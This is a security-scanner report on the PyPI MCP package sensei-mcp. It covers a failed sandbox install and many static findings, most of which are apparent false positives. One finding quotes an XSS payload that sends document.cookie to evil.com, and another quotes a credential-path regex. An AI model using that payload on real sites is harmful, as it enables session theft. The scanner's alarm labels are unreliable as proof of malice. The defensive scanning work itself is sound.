Skills/PyPI/sensei-mcp

sensei-mcp@0.9.0

CAUTION· not started

Publisher claims: "Multi-persona engineering mentor with 64 specialized AI personas orchestrating collaborative guidance, session memory, and git-aware context" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher amarodeabreu · publishing for 362 daysInstalls 69Last detonated 1 h ago

Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
no credential variables read in the code
Where it talks to
no vendor host named in the codeAlso myapp.com — not the publisher's domain; check what for before connecting.
What the honeypot saw
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Connect it under the guard. Not started: dependency install failed; the server itself was not observed. The code names no credential variable; the guard pins the network to what the honeypot saw and logs every call.

$vet-skills run --net declared -- uvx sensei-mcp

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-18 and scored it 72/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Fake instruction boundary tag; Access to sensitive file paths; Context shift attempt. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 1 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.1sprocessdependency install exit 1 ·
0.1sclaimednot started: dependency install failed (exit 1); the server itself was not observed
0.1sprocessscript backend runs setup only
0.1sprocessno install scripts to re-run

Static findings

MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/api-platform-engineer.md:759 · Process kill command — agent can terminate processes- "N+1 queries kill GraphQL; use DataLoader for batching"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
Fake instruction boundary tagsrc/sensei_mcp/personas/skills/chief-architect.md:1451 · Fake instruction boundary tag- `/scale <system>` - Analyze scalability of systemFix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
HIGH
Access to sensitive file pathssrc/sensei_mcp/personas/skills/security-sentinel.md:437 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files# In .env file committed to gitFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/chaos-engineering-specialist.md:22 · Process kill command — agent can terminate processesDon't just kill servers. Inject realistic failures: network latency, disk I/O degradation, DNS failures, certificate expiration, AWS region outages.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
Context shift attemptsrc/sensei_mcp/personas/skills/site-reliability-engineer.md:579 · Context shift attempt — trying to change operational mode# 1. Enable maintenance mode (show friendly message to users)Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
MEDIUM
Python subprocess execution detectedsrc/sensei_mcp/server.py:483 · Python subprocess execution detectedstats_result = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathssrc/sensei_mcp/personas/skills/technical-writer.md:199 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesSee [.env.example](.env.example) for all configuration options.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedsrc/sensei_mcp/server.py:457 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Stripe-like API key pattern detectedsrc/sensei_mcp/personas/skills/api-platform-engineer.md:532 · Stripe-like API key pattern detected — possible hardcoded or harvested keyX-API-Key: sk_live_abc123def456Fix: Never read or enumerate credential locations; accept a documented environment variable instead.
AST03
MEDIUM
Python subprocess execution detectedsrc/sensei_mcp/server.py:467 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedsrc/sensei_mcp/server.py:491 · Python subprocess execution detectedstats_result = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
document.cookie accesssrc/sensei_mcp/personas/skills/security-sentinel.md:280 · document.cookie access — can steal session cookies// User submits: <script>fetch('https://evil.com?cookie=' + document.cookie)</script>Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
CRITICAL
Fake instruction boundary tagsrc/sensei_mcp/personas/skills/chief-architect.md:1452 · Fake instruction boundary tag- `/c4 <system>` - Generate C4 architecture diagramFix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
HIGH
Access to sensitive file pathssrc/sensei_mcp/engine.py:232 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesr'(\.env.*|secrets.*|credentials.*|\.aws/|\.gcloud/)': [Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
CRITICAL
Rule modification attemptsrc/sensei_mcp/personas/skills/engineering-manager.md:140 · Rule modification attempt — overwriting existing instructions**Rule #1:** 1-on-1s are for the report, not the managerFix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
CRITICAL
Prompt injectionsrc/sensei_mcp/personas/skills/interaction-design-specialist.md:291 · Prompt injection — known jailbreak technique reference**Structure (Dan Saffer):**Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST01
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/mobile-platform-engineer.md:452 · Process kill command — agent can terminate processes- "Memory leaks kill apps on low-end devices."Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/open-source-strategist.md:28 · Process kill command — agent can terminate processesThe wrong license can kill adoption or expose you to legal risk. Choose deliberately.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedsrc/sensei_mcp/personas/skills/ma-due-diligence.md:297 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/chaos-engineering-specialist.md:100 · Process kill command — agent can terminate processes- **Compute:** Terminate EC2 instance, kill Kubernetes pod, CPU stressFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/mobile-platform-engineer.md:34 · Process kill command — agent can terminate processesJank, slow startup, and laggy scrolling kill retention. 60fps minimum.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/chaos-engineering-specialist.md:120 · Process kill command — agent can terminate processes- Have rollback plan (kill switch, manual override)Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/performance-engineer.md:674 · Process kill command — agent can terminate processes- "N+1 queries kill performance; I eager load relationships"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/chaos-engineering-specialist.md:31 · Process kill command — agent can terminate processesStart with 1% of traffic, one service, one region. Gradually increase scope. Always have a kill switch to abort experiments.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/skill-matrix.md:333 · Process kill command — agent can terminate processes4. **Add safeguards:** Feature flag, 5% rollout, kill switch (SRE)Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/site-reliability-engineer.md:449 · Process kill command — agent can terminate processes2. **Have a kill switch:** Be ready to stop the experimentFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
npx invocation of non-well-known packagesrc/sensei_mcp/personas/skills/ma-due-diligence.md:448 · npx invocation of non-well-known package — may execute untrusted codenpx license-checker --json > node_licenses.jsonFix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/mobile-platform-engineer.md:482 · Process kill command — agent can terminate processes- "Complex layouts kill frame rate. Simplify hierarchy."Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/release-engineering-lead.md:50 · Process kill command — agent can terminate processes- Decoupled deploy/release (feature flags = kill switches)Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/site-reliability-engineer.md:424 · Process kill command — agent can terminate processes# Randomly kill 1 pod every 60 secondsFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/release-engineering-lead.md:656 · Process kill command — agent can terminate processes- "Feature flags are kill switches; instant disable beats hotfix deploy"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/release-engineering-lead.md:307 · Process kill command — agent can terminate processes| **Rollback speed** | Instant (flip LB) | Slow (re-deploy) | Fast (kill canary) |Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
npx invocation of non-well-known packagesrc/sensei_mcp/personas/skills/qa-automation-engineer.md:601 · npx invocation of non-well-known package — may execute untrusted code- run: npx playwright install --with-depsFix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/release-engineering-lead.md:295 · Process kill command — agent can terminate processes- Fast rollback (kill canary pods)Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedsrc/sensei_mcp/personas/skills/ma-due-diligence.md:268 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/chaos-engineering-specialist.md:54 · Process kill command — agent can terminate processes…You start small (1% traffic, canary deployments) and expand gradually. You have kill switches and rollback plans. You know that chaos in production requires trust an…Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
npx invocation of non-well-known packagesrc/sensei_mcp/personas/skills/ui-design-system-architect.md:611 · npx invocation of non-well-known package — may execute untrusted code4. **Week 4:** Provide codemod: `npx migrate-buttons`Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Python subprocess execution detectedsrc/sensei_mcp/personas/skills/ma-due-diligence.md:330 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/release-engineering-lead.md:359 · Process kill command — agent can terminate processes│ └─> Feature flag kill switch (disable feature)Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
npx invocation of non-well-known packagesrc/sensei_mcp/personas/skills/devex-champion.md:397 · npx invocation of non-well-known package — may execute untrusted code- "Want to build an API? Use `npx create-api-service my-service` (generates Express + TypeScript + tests + Dockerfile + CI)"Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
npx invocation of non-well-known packagesrc/sensei_mcp/personas/skills/devex-champion.md:384 · npx invocation of non-well-known package — may execute untrusted code**Better:** Self-service portal: `npx create-db my-service-db` → provisioned in 2 minutes.Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/ux-research-strategist.md:49 · Process kill command — agent can terminate processesBetter to kill a bad idea in research than in production.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsrc/sensei_mcp/personas/skills/data-engineer.md:73 · Process kill command — agent can terminate processes…t me refactor this." *When optimizing queries:* > "That `SELECT *` is going to kill the warehouse. We're pulling 50 columns but only using 3. Let's list the columns…Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05

Cost to the agent

Instructions loaded
≈70 tok
1 file · 81 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for sensei-mcp@0.9.0 as of 29 min ago. This is the package itself, not its dependencies.

What would make this Verified

8 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Unclaimed publisher≈ +8 on the totalClaim amarodeabreu: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  2. Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  3. Stripe-like API key pattern detected≈ +4 on the totalNever read or enumerate credential locations; accept a documented environment variable instead.
  4. document.cookie access≈ +4 on the totalReplace encoded or assembled strings with plain literals and remove undeclared network calls.
  5. Process kill command≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  6. Python subprocess execution detected≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
Publish a new version to PyPI, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim amarodeabreuPropose a patch to the maintainer